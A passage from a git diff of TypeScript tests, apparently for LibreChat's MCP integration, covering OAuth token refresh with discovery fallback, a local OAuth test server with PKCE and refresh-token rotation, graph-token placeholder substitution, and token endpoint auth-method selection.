fetchUrl).toBe('string'); + expect(fetchUrl).toBe('https://mcp.sentry.dev/oauth/token'); + expect(fetchOptions).toEqual(expect.objectContaining({ method: 'POST' })); + expect(result.access_token).toBe('new-access-token'); + }); + + it('retries with origin URL when path-based discovery fails (no stored clientInfo)', async () => { + // No clientInfo — uses the auto-discovered branch + const metadata = { + serverName: 'sentry', + serverUrl: 'https://mcp.sentry.dev/mcp', + }; + + const originMetadata = { + issuer: 'https://mcp.sentry.dev/', + authorization_endpoint: 'https://mcp.sentry.dev/oauth/authorize', + token_endpoint: 'https://mcp.sentry.dev/oauth/token', + response_types_supported: ['code'], + jwks_uri: 'https://mcp.sentry.dev/.well-known/jwks.json', + subject_types_supported: ['public'], + id_token_signing_alg_values_supported: ['RS256'], + } as AuthorizationServerMetadata; + + // First call (path-based URL) fails, second call (origin URL) succeeds + mockDiscoverAuthorizationServerMetadata + .mockResolvedValueOnce(undefined) + .mockResolvedValueOnce(originMetadata); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ + access_token: 'new-access-token', + refresh_token: 'new-refresh-token', + expires_in: 3600, + }), + } as Response); + + const result = await MCPOAuthHandler.refreshOAuthTokens( + 'test-refresh-token', + metadata, + {}, + {}, + ); + + // Discovery attempted twice: once with path URL, once with origin URL + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2); + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith( + 1, + expect.any(URL), + expect.any(Object), + ); + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenNthCalledWith( + 2, + expect.any(URL), + expect.any(Object), + ); + const firstDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[0][0] as URL; + const secondDiscoveryUrl = mockDiscoverAuthorizationServerMetadata.mock.calls[1][0] as URL; + expect(firstDiscoveryUrl.href).toBe('https://mcp.sentry.dev/mcp'); + expect(secondDiscoveryUrl.href).toBe('https://mcp.sentry.dev/'); + + // Token endpoint from origin discovery metadata is used (URL object in auto-discovered branch) + expect(mockFetch).toHaveBeenCalled(); + const [fetchUrl, fetchOptions] = mockFetch.mock.calls[0]; + expect(fetchUrl).toBeInstanceOf(URL); + expect(fetchUrl.toString()).toBe('https://mcp.sentry.dev/oauth/token'); + expect(fetchOptions).toEqual(expect.objectContaining({ method: 'POST' })); + expect(result.access_token).toBe('new-access-token'); + }); + + it('falls back to /token when both path and origin discovery fail', async () => { + const metadata = { + serverName: 'sentry', + serverUrl: 'https://mcp.sentry.dev/mcp', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + grant_types: ['authorization_code', 'refresh_token'], + }, + }; + + // Both path AND origin discovery return undefined + mockDiscoverAuthorizationServerMetadata + .mockResolvedValueOnce(undefined) + .mockResolvedValueOnce(undefined); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ + access_token: 'new-access-token', + refresh_token: 'new-refresh-token', + expires_in: 3600, + }), + } as Response); + + const result = await MCPOAuthHandler.refreshOAuthTokens( + 'test-refresh-token', + metadata, + {}, + {}, + ); + + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2); + + // Falls back to /token relative to server URL origin + const [fetchUrl] = mockFetch.mock.calls[0]; + expect(String(fetchUrl)).toBe('https://mcp.sentry.dev/token'); + expect(result.access_token).toBe('new-access-token'); + }); + + it('does not retry with origin when server URL has no path (root URL)', async () => { + const metadata = { + serverName: 'test-server', + serverUrl: 'https://auth.example.com/', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + }, + }; + + // Root URL discovery fails — no retry + mockDiscoverAuthorizationServerMetadata.mockResolvedValueOnce(undefined); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ access_token: 'new-token', expires_in: 3600 }), + } as Response); + + await MCPOAuthHandler.refreshOAuthTokens('test-refresh-token', metadata, {}, {}); + + // Only one discovery attempt for a root URL + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(1); + }); + + it('retries with origin when path-based discovery throws', async () => { + const metadata = { + serverName: 'sentry', + serverUrl: 'https://mcp.sentry.dev/mcp', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + grant_types: ['authorization_code', 'refresh_token'], + }, + }; + + const originMetadata = { + issuer: 'https://mcp.sentry.dev/', + authorization_endpoint: 'https://mcp.sentry.dev/oauth/authorize', + token_endpoint: 'https://mcp.sentry.dev/oauth/token', + token_endpoint_auth_methods_supported: ['client_secret_post'], + response_types_supported: ['code'], + } as AuthorizationServerMetadata; + + // First call throws, second call succeeds + mockDiscoverAuthorizationServerMetadata + .mockRejectedValueOnce(new Error('Network error')) + .mockResolvedValueOnce(originMetadata); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ + access_token: 'new-access-token', + refresh_token: 'new-refresh-token', + expires_in: 3600, + }), + } as Response); + + const result = await MCPOAuthHandler.refreshOAuthTokens( + 'test-refresh-token', + metadata, + {}, + {}, + ); + + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2); + const [fetchUrl] = mockFetch.mock.calls[0]; + expect(String(fetchUrl)).toBe('https://mcp.sentry.dev/oauth/token'); + expect(result.access_token).toBe('new-access-token'); + }); + + it('propagates the throw when root URL discovery throws', async () => { + const metadata = { + serverName: 'test-server', + serverUrl: 'https://auth.example.com/', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + }, + }; + + mockDiscoverAuthorizationServerMetadata.mockRejectedValueOnce( + new Error('Discovery failed'), + ); + + await expect( + MCPOAuthHandler.refreshOAuthTokens('test-refresh-token', metadata, {}, {}), + ).rejects.toThrow('Discovery failed'); + + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(1); + }); + + it('propagates the throw when both path and origin discovery throw', async () => { + const metadata = { + serverName: 'sentry', + serverUrl: 'https://mcp.sentry.dev/mcp', + clientInfo: { + client_id: 'test-client-id', + client_secret: 'test-client-secret', + }, + }; + + mockDiscoverAuthorizationServerMetadata + .mockRejectedValueOnce(new Error('Network error')) + .mockRejectedValueOnce(new Error('Origin also failed')); + + await expect( + MCPOAuthHandler.refreshOAuthTokens('test-refresh-token', metadata, {}, {}), + ).rejects.toThrow('Origin also failed'); + + expect(mockDiscoverAuthorizationServerMetadata).toHaveBeenCalledTimes(2); + }); + }); }); }); diff --git a/packages/api/src/mcp/__tests__/helpers/oauthTestServer.ts b/packages/api/src/mcp/__tests__/helpers/oauthTestServer.ts new file mode 100644 index 0000000000..3b68b2ded4 --- /dev/null +++ b/packages/api/src/mcp/__tests__/helpers/oauthTestServer.ts @@ -0,0 +1,449 @@ +import * as http from 'http'; +import * as net from 'net'; +import { randomUUID, createHash } from 'crypto'; +import { z } from 'zod'; +import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; +import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js'; +import type { FlowState } from '~/flow/types'; +import type { Socket } from 'net'; + +export class MockKeyv { + private store: Map>; + + constructor() { + this.store = new Map(); + } + + async get(key: string): Promise | undefined> { + return this.store.get(key); + } + + async set(key: string, value: FlowState, _ttl?: number): Promise { + this.store.set(key, value); + return true; + } + + async delete(key: string): Promise { + return this.store.delete(key); + } +} + +export function getFreePort(): Promise { + return new Promise((resolve, reject) => { + const srv = net.createServer(); + srv.listen(0, '127.0.0.1', () => { + const addr = srv.address() as net.AddressInfo; + srv.close((err) => (err ? reject(err) : resolve(addr.port))); + }); + }); +} + +export function trackSockets(httpServer: http.Server): () => Promise { + const sockets = new Set(); + httpServer.on('connection', (socket: Socket) => { + sockets.add(socket); + socket.once('close', () => sockets.delete(socket)); + }); + return () => + new Promise((resolve) => { + for (const socket of sockets) { + socket.destroy(); + } + sockets.clear(); + httpServer.close(() => resolve()); + }); +} + +export interface OAuthTestServerOptions { + tokenTTLMs?: number; + issueRefreshTokens?: boolean; + refreshTokenTTLMs?: number; + rotateRefreshTokens?: boolean; +} + +export interface OAuthTestServer { + url: string; + port: number; + close: () => Promise; + issuedTokens: Set; + tokenTTL: number; + tokenIssueTimes: Map; + issuedRefreshTokens: Map; + registeredClients: Map; + getAuthCode: () => Promise; +} + +async function readRequestBody(req: http.IncomingMessage): Promise { + const chunks: Uint8Array[] = []; + for await (const chunk of req) { + chunks.push(chunk as Uint8Array); + } + return Buffer.concat(chunks).toString(); +} + +function parseTokenRequest(body: string, contentType: string | undefined): URLSearchParams | null { + if (contentType?.includes('application/x-www-form-urlencoded')) { + return new URLSearchParams(body); + } + if (contentType?.includes('application/json')) { + const json = JSON.parse(body) as Record; + return new URLSearchParams(json); + } + return new URLSearchParams(body); +} + +export async function createOAuthMCPServer( + options: OAuthTestServerOptions = {}, +): Promise { + const { + tokenTTLMs = 60000, + issueRefreshTokens = false, + refreshTokenTTLMs = 365 * 24 * 60 * 60 * 1000, + rotateRefreshTokens = false, + } = options; + + const sessions = new Map(); + const issuedTokens = new Set(); + const tokenIssueTimes = new Map(); + const issuedRefreshTokens = new Map(); + const refreshTokenIssueTimes = new Map(); + const authCodes = new Map(); + const registeredClients = new Map(); + + let port = 0; + + const httpServer = http.createServer(async (req, res) => { + const url = new URL(req.url ?? '/', `http://${req.headers.host}`); + + if (url.pathname === '/.well-known/oauth-authorization-server' && req.method === 'GET') { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end( + JSON.stringify({ + issuer: `http://127.0.0.1:${port}`, + authorization_endpoint: `http://127.0.0.1:${port}/authorize`, + token_endpoint: `http://127.0.0.1:${port}/token`, + registration_endpoint: `http://127.0.0.1:${port}/register`, + response_types_supported: ['code'], + grant_types_supported: issueRefreshTokens + ? ['authorization_code', 'refresh_token'] + : ['authorization_code'], + token_endpoint_auth_methods_supported: ['client_secret_basic', 'client_secret_post'], + code_challenge_methods_supported: ['S256'], + }), + ); + return; + } + + if (url.pathname === '/register' && req.method === 'POST') { + const body = await readRequestBody(req); + const data = JSON.parse(body) as { redirect_uris?: string[] }; + const clientId = `client-${randomUUID().slice(0, 8)}`; + const clientSecret = `secret-${randomUUID()}`; + registeredClients.set(clientId, { client_id: clientId, client_secret: clientSecret }); + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end( + JSON.stringify({ + client_id: clientId, + client_secret: clientSecret, + redirect_uris: data.redirect_uris ?? [], + }), + ); + return; + } + + if (url.pathname === '/authorize') { + const code = randomUUID(); + const codeChallenge = url.searchParams.get('code_challenge') ?? undefined; + const codeChallengeMethod = url.searchParams.get('code_challenge_method') ?? undefined; + authCodes.set(code, { codeChallenge, codeChallengeMethod }); + const redirectUri = url.searchParams.get('redirect_uri') ?? ''; + const state = url.searchParams.get('state') ?? ''; + res.writeHead(302, { + Location: `${redirectUri}?code=${code}&state=${state}`, + }); + res.end(); + return; + } + + if (url.pathname === '/token' && req.method === 'POST') { + const body = await readRequestBody(req); + const params = parseTokenRequest(body, req.headers['content-type']); + if (!params) { + res.writeHead(400, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_request' })); + return; + } + + const grantType = params.get('grant_type'); + + if (grantType === 'authorization_code') { + const code = params.get('code'); + const codeData = code ? authCodes.get(code) : undefined; + if (!code || !codeData) { + res.writeHead(400, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_grant' })); + return; + } + + if (codeData.codeChallenge) { + const codeVerifier = params.get('code_verifier'); + if (!codeVerifier) { + res.writeHead(400, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_grant' })); + return; + } + if (codeData.codeChallengeMethod === 'S256') { + const expected = createHash('sha256').update(codeVerifier).digest('base64url'); + if (expected !== codeData.codeChallenge) { + res.writeHead(400, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_grant' })); + return; + } + } + } + + authCodes.delete(code); + + const accessToken = randomUUID(); + issuedTokens.add(accessToken); + tokenIssueTimes.set(accessToken, Date.now()); + + const tokenResponse: Record = { + access_token: accessToken, + token_type: 'Bearer', + expires_in: Math.ceil(tokenTTLMs / 1000), + }; + + if (issueRefreshTokens) { + const refreshToken = randomUUID(); + issuedRefreshTokens.set(refreshToken, accessToken); + refreshTokenIssueTimes.set(refreshToken, Date.now()); + tokenResponse.refresh_token = refreshToken; + } + + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify(tokenResponse)); + return; + } + + if (grantType === 'refresh_token' && issueRefreshTokens) { + const refreshToken = params.get('refresh_token'); + if (!refreshToken || !issuedRefreshTokens.has(refreshToken)) { + res.writeHead(400, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_grant' })); + return; + } + + const issueTime = refreshTokenIssueTimes.get(refreshToken) ?? 0; + if (Date.now() - issueTime > refreshTokenTTLMs) { + issuedRefreshTokens.delete(refreshToken); + refreshTokenIssueTimes.delete(refreshToken); + res.writeHead(400, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_grant' })); + return; + } + + const newAccessToken = randomUUID(); + issuedTokens.add(newAccessToken); + tokenIssueTimes.set(newAccessToken, Date.now()); + + const tokenResponse: Record = { + access_token: newAccessToken, + token_type: 'Bearer', + expires_in: Math.ceil(tokenTTLMs / 1000), + }; + + if (rotateRefreshTokens) { + issuedRefreshTokens.delete(refreshToken); + refreshTokenIssueTimes.delete(refreshToken); + const newRefreshToken = randomUUID(); + issuedRefreshTokens.set(newRefreshToken, newAccessToken); + refreshTokenIssueTimes.set(newRefreshToken, Date.now()); + tokenResponse.refresh_token = newRefreshToken; + } + + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify(tokenResponse)); + return; + } + + res.writeHead(400, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'unsupported_grant_type' })); + return; + } + + // All other paths require Bearer token auth + const authHeader = req.headers.authorization; + if (!authHeader || !authHeader.startsWith('Bearer ')) { + res.writeHead(401, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_token' })); + return; + } + + const token = authHeader.slice(7); + if (!issuedTokens.has(token)) { + res.writeHead(401, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_token' })); + return; + } + + const issueTime = tokenIssueTimes.get(token) ?? 0; + if (Date.now() - issueTime > tokenTTLMs) { + issuedTokens.delete(token); + tokenIssueTimes.delete(token); + res.writeHead(401, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ error: 'invalid_token' })); + return; + } + + // Authenticated MCP request — route to transport + const sid = req.headers['mcp-session-id'] as string | undefined; + let transport = sid ? sessions.get(sid) : undefined; + + if (!transport) { + transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: () => randomUUID(), + }); + const mcp = new McpServer({ name: 'oauth-test-server', version: '0.0.1' }); + mcp.tool('echo', { message: z.string() }, async (args) => ({ + content: [{ type: 'text' as const, text: `echo: ${args.message}` }], + })); + await mcp.connect(transport); + } + + await transport.handleRequest(req, res); + + if (transport.sessionId && !sessions.has(transport.sessionId)) { + sessions.set(transport.sessionId, transport); + transport.onclose = () => sessions.delete(transport!.sessionId!); + } + }); + + const destroySockets = trackSockets(httpServer); + port = await getFreePort(); + await new Promise((resolve) => httpServer.listen(port, '127.0.0.1', resolve)); + + return { + url: `http://127.0.0.1:${port}/`, + port, + issuedTokens, + tokenTTL: tokenTTLMs, + tokenIssueTimes, + issuedRefreshTokens, + registeredClients, + getAuthCode: async () => { + const authRes = await fetch( + `http://127.0.0.1:${port}/authorize?redirect_uri=http://localhost&state=test`, + { redirect: 'manual' }, + ); + const location = authRes.headers.get('location') ?? ''; + return new URL(location).searchParams.get('code') ?? ''; + }, + close: async () => { + const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined)); + sessions.clear(); + await Promise.all(closing); + await destroySockets(); + }, + }; +} + +export interface InMemoryToken { + userId: string; + type: string; + identifier: string; + token: string; + expiresAt: Date; + createdAt: Date; + metadata?: Map | Record; +} + +export class InMemoryTokenStore { + private tokens: Map = new Map(); + + private key(filter: { userId?: string; type?: string; identifier?: string }): string { + return `${filter.userId}:${filter.type}:${filter.identifier}`; + } + + findToken = async (filter: { + userId?: string; + type?: string; + identifier?: string; + }): Promise => { + for (const token of this.tokens.values()) { + const matchUserId = !filter.userId || token.userId === filter.userId; + const matchType = !filter.type || token.type === filter.type; + const matchIdentifier = !filter.identifier || token.identifier === filter.identifier; + if (matchUserId && matchType && matchIdentifier) { + return token; + } + } + return null; + }; + + createToken = async (data: { + userId: string; + type: string; + identifier: string; + token: string; + expiresIn?: number; + metadata?: Record; + }): Promise => { + const expiresIn = data.expiresIn ?? 365 * 24 * 60 * 60; + const token: InMemoryToken = { + userId: data.userId, + type: data.type, + identifier: data.identifier, + token: data.token, + expiresAt: new Date(Date.now() + expiresIn * 1000), + createdAt: new Date(), + metadata: data.metadata, + }; + this.tokens.set(this.key(data), token); + return token; + }; + + updateToken = async ( + filter: { userId?: string; type?: string; identifier?: string }, + data: { + userId?: string; + type?: string; + identifier?: string; + token?: string; + expiresIn?: number; + metadata?: Record; + }, + ): Promise => { + const existing = await this.findToken(filter); + if (!existing) { + throw new Error(`Token not found for filter: ${JSON.stringify(filter)}`); + } + const existingKey = this.key(existing); + const expiresIn = + data.expiresIn ?? Math.floor((existing.expiresAt.getTime() - Date.now()) / 1000); + const updated: InMemoryToken = { + ...existing, + token: data.token ?? existing.token, + expiresAt: data.expiresIn ? new Date(Date.now() + expiresIn * 1000) : existing.expiresAt, + metadata: data.metadata ?? existing.metadata, + }; + this.tokens.set(existingKey, updated); + return updated; + }; + + deleteToken = async (filter: { + userId: string; + type: string; + identifier: string; + }): Promise => { + this.tokens.delete(this.key(filter)); + }; + + getAll(): InMemoryToken[] { + return [...this.tokens.values()]; + } + + clear(): void { + this.tokens.clear(); + } +} diff --git a/packages/api/src/mcp/__tests__/mcp.spec.ts b/packages/api/src/mcp/__tests__/mcp.spec.ts index f33db2f5c1..d64f9f3afa 100644 --- a/packages/api/src/mcp/__tests__/mcp.spec.ts +++ b/packages/api/src/mcp/__tests__/mcp.spec.ts @@ -4,12 +4,23 @@ import { StreamableHTTPOptionsSchema, } from 'librechat-data-provider'; import type { TUser } from 'librechat-data-provider'; +import type { IUser } from '@librechat/data-schemas'; +import type { GraphTokenResolver } from '~/utils/graph'; +import { preProcessGraphTokens } from '~/utils/graph'; import { processMCPEnv } from '~/utils/env'; +import * as oidcUtils from '~/utils/oidc'; + +// Mock oidc utilities for graph token tests +jest.mock('~/utils/oidc', () => ({ + ...jest.requireActual('~/utils/oidc'), + extractOpenIDTokenInfo: jest.fn(), + isOpenIDTokenValid: jest.fn(), +})); // Helper function to create test user objects function createTestUser( overrides: Partial & Record = {}, -): TUser & Record { +): Omit | undefined { return { id: 'test-user-id', username: 'testuser', @@ -18,8 +29,6 @@ function createTestUser( avatar: 'https://example.com/avatar.png', provider: 'email', role: 'user', - createdAt: new Date('2021-01-01').toISOString(), - updatedAt: new Date('2021-01-01').toISOString(), ...overrides, }; } @@ -858,5 +867,270 @@ describe('Environment Variable Extraction (MCP)', () => { 'Content-Type': 'application/json', }); }); + + it('should leave {{LIBRECHAT_GRAPH_ACCESS_TOKEN}} unchanged (resolved by preProcessGraphTokens)', () => { + const user = createTestUser({ id: 'user-123' }); + const options: MCPOptions = { + type: 'sse', + url: 'https://example.com', + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + }, + }; + + const result = processMCPEnv({ options, user }); + + expect('headers' in result && result.headers).toEqual({ + // Graph token placeholder remains - it should be resolved by preProcessGraphTokens before processMCPEnv + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + // User ID is resolved by processMCPEnv + 'X-User-Id': 'user-123', + }); + }); + }); + + describe('preProcessGraphTokens and processMCPEnv working in tandem', () => { + const mockExtractOpenIDTokenInfo = oidcUtils.extractOpenIDTokenInfo as jest.Mock; + const mockIsOpenIDTokenValid = oidcUtils.isOpenIDTokenValid as jest.Mock; + + const mockGraphTokenResolver: GraphTokenResolver = jest.fn().mockResolvedValue({ + access_token: 'resolved-graph-api-token', + token_type: 'Bearer', + expires_in: 3600, + scope: 'https://graph.microsoft.com/.default', + }); + + beforeEach(() => { + // Set up mocks to simulate valid OpenID token + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'test-access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + (mockGraphTokenResolver as jest.Mock).mockClear(); + }); + + afterEach(() => { + jest.clearAllMocks(); + }); + + it('should resolve both graph tokens and user placeholders in sequence', async () => { + const user = createTestUser({ + id: 'user-123', + email: 'test@example.com', + provider: 'openid', + openidId: 'oidc-sub-456', + }) as unknown as IUser; + + const options: MCPOptions = { + type: 'sse', + url: 'https://graph.microsoft.com/v1.0/me', + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + 'X-User-Email': '{{LIBRECHAT_USER_EMAIL}}', + 'Content-Type': 'application/json', + }, + }; + + // Step 1: preProcessGraphTokens resolves graph token placeholders (async) + const graphProcessedConfig = await preProcessGraphTokens(options, { + user, + graphTokenResolver: mockGraphTokenResolver, + }); + + // Step 2: processMCPEnv resolves user and env placeholders (sync) + const finalConfig = processMCPEnv({ + options: graphProcessedConfig, + user, + }); + + expect('headers' in finalConfig && finalConfig.headers).toEqual({ + Authorization: 'Bearer resolved-graph-api-token', + 'X-User-Id': 'user-123', + 'X-User-Email': 'test@example.com', + 'Content-Type': 'application/json', + }); + }); + + it('should resolve graph tokens in env and user placeholders in headers', async () => { + const user = createTestUser({ + id: 'user-456', + username: 'johndoe', + provider: 'openid', + }) as unknown as IUser; + + const options: MCPOptions = { + command: 'node', + args: ['mcp-server.js', '--user', '{{LIBRECHAT_USER_USERNAME}}'], + env: { + GRAPH_ACCESS_TOKEN: '{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + USER_ID: '{{LIBRECHAT_USER_ID}}', + API_KEY: '${TEST_API_KEY}', + }, + }; + + // Step 1: preProcessGraphTokens + const graphProcessedConfig = await preProcessGraphTokens(options, { + user, + graphTokenResolver: mockGraphTokenResolver, + }); + + // Step 2: processMCPEnv + const finalConfig = processMCPEnv({ + options: graphProcessedConfig, + user, + }); + + expect('env' in finalConfig && finalConfig.env).toEqual({ + GRAPH_ACCESS_TOKEN: 'resolved-graph-api-token', + USER_ID: 'user-456', + API_KEY: 'test-api-key-value', + }); + + expect('args' in finalConfig && finalConfig.args).toEqual([ + 'mcp-server.js', + '--user', + 'johndoe', + ]); + }); + + it('should resolve graph tokens in URL alongside other placeholders', async () => { + const user = createTestUser({ + id: 'user-789', + provider: 'openid', + }) as unknown as IUser; + + const customUserVars = { + TENANT_ID: 'my-tenant-123', + }; + + const options: MCPOptions = { + type: 'sse', + url: 'https://{{TENANT_ID}}.example.com/api?token={{LIBRECHAT_GRAPH_ACCESS_TOKEN}}&user={{LIBRECHAT_USER_ID}}', + }; + + // Step 1: preProcessGraphTokens + const graphProcessedConfig = await preProcessGraphTokens(options, { + user, + graphTokenResolver: mockGraphTokenResolver, + }); + + // Step 2: processMCPEnv with customUserVars + const finalConfig = processMCPEnv({ + options: graphProcessedConfig, + user, + customUserVars, + }); + + expect('url' in finalConfig && finalConfig.url).toBe( + 'https://my-tenant-123.example.com/api?token=resolved-graph-api-token&user=user-789', + ); + }); + + it('should handle config with no graph token placeholders (only user placeholders)', async () => { + const user = createTestUser({ + id: 'user-abc', + email: 'user@company.com', + }) as unknown as IUser; + + const options: MCPOptions = { + type: 'sse', + url: 'https://api.example.com', + headers: { + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + 'X-User-Email': '{{LIBRECHAT_USER_EMAIL}}', + }, + }; + + // Step 1: preProcessGraphTokens (no-op since no graph placeholders) + const graphProcessedConfig = await preProcessGraphTokens(options, { + user, + graphTokenResolver: mockGraphTokenResolver, + }); + + // Step 2: processMCPEnv + const finalConfig = processMCPEnv({ + options: graphProcessedConfig, + user, + }); + + expect('headers' in finalConfig && finalConfig.headers).toEqual({ + 'X-User-Id': 'user-abc', + 'X-User-Email': 'user@company.com', + }); + + // graphTokenResolver should not have been called + expect(mockGraphTokenResolver).not.toHaveBeenCalled(); + }); + + it('should handle config with only graph token placeholders (no user placeholders)', async () => { + const user = createTestUser({ + id: 'user-xyz', + provider: 'openid', + }) as unknown as IUser; + + const options: MCPOptions = { + type: 'sse', + url: 'https://graph.microsoft.com/v1.0/me', + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'Content-Type': 'application/json', + }, + }; + + // Reset mock call count + (mockGraphTokenResolver as jest.Mock).mockClear(); + + // Step 1: preProcessGraphTokens + const graphProcessedConfig = await preProcessGraphTokens(options, { + user, + graphTokenResolver: mockGraphTokenResolver, + }); + + // Step 2: processMCPEnv + const finalConfig = processMCPEnv({ + options: graphProcessedConfig, + user, + }); + + expect('headers' in finalConfig && finalConfig.headers).toEqual({ + Authorization: 'Bearer resolved-graph-api-token', + 'Content-Type': 'application/json', + }); + }); + + it('should not mutate original options through the tandem processing', async () => { + const user = createTestUser({ + id: 'user-immutable', + provider: 'openid', + }) as unknown as IUser; + + const originalOptions: MCPOptions = { + type: 'sse', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + }, + }; + + // Store original values + const originalAuth = originalOptions.headers?.Authorization; + const originalUserId = originalOptions.headers?.['X-User-Id']; + + // Step 1 & 2: Process through both functions + const graphProcessedConfig = await preProcessGraphTokens(originalOptions, { + user, + graphTokenResolver: mockGraphTokenResolver, + }); + + processMCPEnv({ + options: graphProcessedConfig, + user, + }); + + // Original should be unchanged + expect(originalOptions.headers?.Authorization).toBe(originalAuth); + expect(originalOptions.headers?.['X-User-Id']).toBe(originalUserId); + }); }); }); diff --git a/packages/api/src/mcp/__tests__/methods.test.ts b/packages/api/src/mcp/__tests__/methods.test.ts new file mode 100644 index 0000000000..acd96186a3 --- /dev/null +++ b/packages/api/src/mcp/__tests__/methods.test.ts @@ -0,0 +1,195 @@ +import { TokenExchangeMethodEnum } from 'librechat-data-provider'; +import { + getForcedTokenEndpointAuthMethod, + resolveTokenEndpointAuthMethod, + selectRegistrationAuthMethod, + inferClientAuthMethod, +} from '~/mcp/oauth/methods'; + +describe('getForcedTokenEndpointAuthMethod', () => { + it('returns client_secret_post for DefaultPost', () => { + expect(getForcedTokenEndpointAuthMethod(TokenExchangeMethodEnum.DefaultPost)).toBe( + 'client_secret_post', + ); + }); + + it('returns client_secret_basic for BasicAuthHeader', () => { + expect(getForcedTokenEndpointAuthMethod(TokenExchangeMethodEnum.BasicAuthHeader)).toBe( + 'client_secret_basic', + ); + }); + + it('returns undefined when not set', () => { + expect(getForcedTokenEndpointAuthMethod(undefined)).toBeUndefined(); + }); +}); + +describe('selectRegistrationAuthMethod', () => { + it('respects server preference order: client_secret_post first', () => { + expect(selectRegistrationAuthMethod(['client_secret_post', 'client_secret_basic'])).toBe( + 'client_secret_post', + ); + }); + + it('respects server preference order: client_secret_basic first', () => { + expect(selectRegistrationAuthMethod(['client_secret_basic', 'client_secret_post'])).toBe( + 'client_secret_basic', + ); + }); + + it('selects none when server only advertises none', () => { + expect(selectRegistrationAuthMethod(['none'])).toBe('none'); + }); + + it('prefers credential-based method over none when server lists none first', () => { + expect(selectRegistrationAuthMethod(['none', 'client_secret_basic'])).toBe( + 'client_secret_basic', + ); + }); + + it('prefers credential-based method over none when server lists none before post', () => { + expect(selectRegistrationAuthMethod(['none', 'client_secret_post'])).toBe('client_secret_post'); + }); + + it('falls back to server first method when none of our methods match', () => { + expect(selectRegistrationAuthMethod(['private_key_jwt', 'tls_client_auth'])).toBe( + 'private_key_jwt', + ); + }); + + it('returns undefined when server omits token_endpoint_auth_methods_supported (RFC 8414 default preserved)', () => { + expect(selectRegistrationAuthMethod(undefined)).toBeUndefined(); + }); + + it('returns undefined for empty token_endpoint_auth_methods_supported (RFC 8414 forbids zero-element arrays)', () => { + expect(selectRegistrationAuthMethod([])).toBeUndefined(); + }); + + it('forced token_exchange_method overrides server preference', () => { + expect( + selectRegistrationAuthMethod(['client_secret_basic'], TokenExchangeMethodEnum.DefaultPost), + ).toBe('client_secret_post'); + }); + + it('forced BasicAuthHeader overrides server preference', () => { + expect( + selectRegistrationAuthMethod( + ['client_secret_post', 'none'], + TokenExchangeMethodEnum.BasicAuthHeader, + ), + ).toBe('client_secret_basic'); + }); + + it('picks first supported credential method from mixed supported/unsupported list', () => { + expect(selectRegistrationAuthMethod(['private_key_jwt', 'client_secret_post'])).toBe( + 'client_secret_post', + ); + }); + + it('skips unsupported and none to find credential method deeper in the list', () => { + expect(selectRegistrationAuthMethod(['tls_client_auth', 'none', 'client_secret_basic'])).toBe( + 'client_secret_basic', + ); + }); +}); + +describe('resolveTokenEndpointAuthMethod', () => { + it('prefers forced tokenExchangeMethod over everything', () => { + expect( + resolveTokenEndpointAuthMethod({ + tokenExchangeMethod: TokenExchangeMethodEnum.DefaultPost, + tokenAuthMethods: ['client_secret_basic'], + preferredMethod: 'client_secret_basic', + }), + ).toBe('client_secret_post'); + }); + + it('prefers DCR registration response method when no forced override', () => { + expect( + resolveTokenEndpointAuthMethod({ + tokenAuthMethods: ['client_secret_basic', 'client_secret_post'], + preferredMethod: 'client_secret_post', + }), + ).toBe('client_secret_post'); + }); + + it('falls back to server methods when no preferred method', () => { + expect( + resolveTokenEndpointAuthMethod({ + 